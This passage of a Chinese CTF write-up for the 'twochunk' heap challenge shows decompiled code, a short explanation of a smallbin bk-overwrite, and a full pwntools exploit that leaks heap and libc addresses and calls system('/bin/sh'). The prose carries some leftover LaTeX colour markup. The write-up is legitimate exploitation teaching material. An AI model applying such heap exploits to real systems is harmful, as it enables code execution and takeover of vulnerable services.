g_SizeList[4 * v2] = size;
if ( (&g_HeapList)[2 * v2] )
{
LODWORD(v0) = puts("success");
}
else
{
(&g_HeapList)[2 * v2] = 0LL;
v0 = g_SizeList;
g_SizeList[4 * v2] = 0;
}
return v0;
}
c a l l o c ( ) \textcolor{cornflowerblue}{calloc()} calloc()分配出来的内存会被自动清空,所以需要使用 m a l l o c ( ) \textcolor{cornflowerblue}{malloc()} malloc()进行分配。
最后只要想办法能够操控处于 s m a l l b i n c h u n k \textcolor{orange}{smallbin\ chunk} smallbin chunk上方且和 s m a l l b i n c h u n k \textcolor{orange}{smallbin\ chunk} smallbin chunk相邻的chunk,就能够溢出修改 s m a l l b i n c h u n k \textcolor{orange}{smallbin\ chunk} smallbin chunk的bk了。
[EXP]:
#coding=utf8
"""
# Author: brucy
# Created Time : Mon 07 Dec 2020 06:24:47 PM PST
# File Name: exp.py
# Description:
"""
from pwn import*
#context.log_level=1
def Login(name,msg):
p.sendafter('name: ',name)
p.sendafter('message: ',msg)
def Add(idx,size):
p.sendlineafter('choice: ','1')
p.sendlineafter('idx: ',str(idx))
p.sendlineafter('size: ',str(size))
def Del(idx):
p.sendlineafter('choice: ','2')
p.sendlineafter('idx: ',str(idx))
def Showonce(idx):
p.sendlineafter('choice: ','3')
p.sendlineafter('idx: ',str(idx))
def Editonce(idx,text):
p.sendlineafter('choice: ','4')
p.sendlineafter('idx: ',str(idx))
p.sendafter('content: ',text)
def Add_And_Edit_Once(text):
p.sendlineafter('choice: ','6')
p.sendlineafter('message: ',text)
def Show_Mem_Once():
p.sendlineafter('choice: ','5')
def Call_Mem():
p.sendlineafter('choice: ','7')
p=process('./twochunk')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
Mem_addr=0x23333000
Login(p64(Mem_addr+0x20)*6,'a'*0x40)
Add(0,0xf0)
Del(0)
Add(0,0xf0)
Del(0)
Add(1,0xf0)
Add(0,0x5b25)
Showonce(0)
heap=u64(p.recv(6).ljust(8,'\0'))-0x260
success('heap:'+hex(heap))
Del(0)
Del(1)
for i in range(5):
Add(0,0x88)
Del(0)
for i in range(7):
Add(0,0x300)
Del(0)
Add(0,0x300)
Add(1,0x90)
Del(0)
Del(1)
Add(0,0x270)
Del(0)
Add(0,0x270)
Del(0)
Add(0,0x300)
Add(1,0x90)
Del(0)
Del(1)
Add(0,0x270)
Add(1,0x270)
fake='\0'*0x270+p64(0)+p64(0x91)+p64(heap+0x2010)+p64(Mem_addr-0x10)
Editonce(0,fake)
Del(1)
Add(1,0x88)
Del(0)
Show_Mem_Once()
p.recv(0x15)
libc_base=u64(p.recv(6).ljust(8,'\0'))-0x1e4c40-224
success('libc_base:'+hex(libc_base))
Add_And_Edit_Once(p64(libc.sym['system']+libc_base)+p64(libc.search('/bin/sh').next()+libc_base)*10)
Call_Mem()
p.interactive()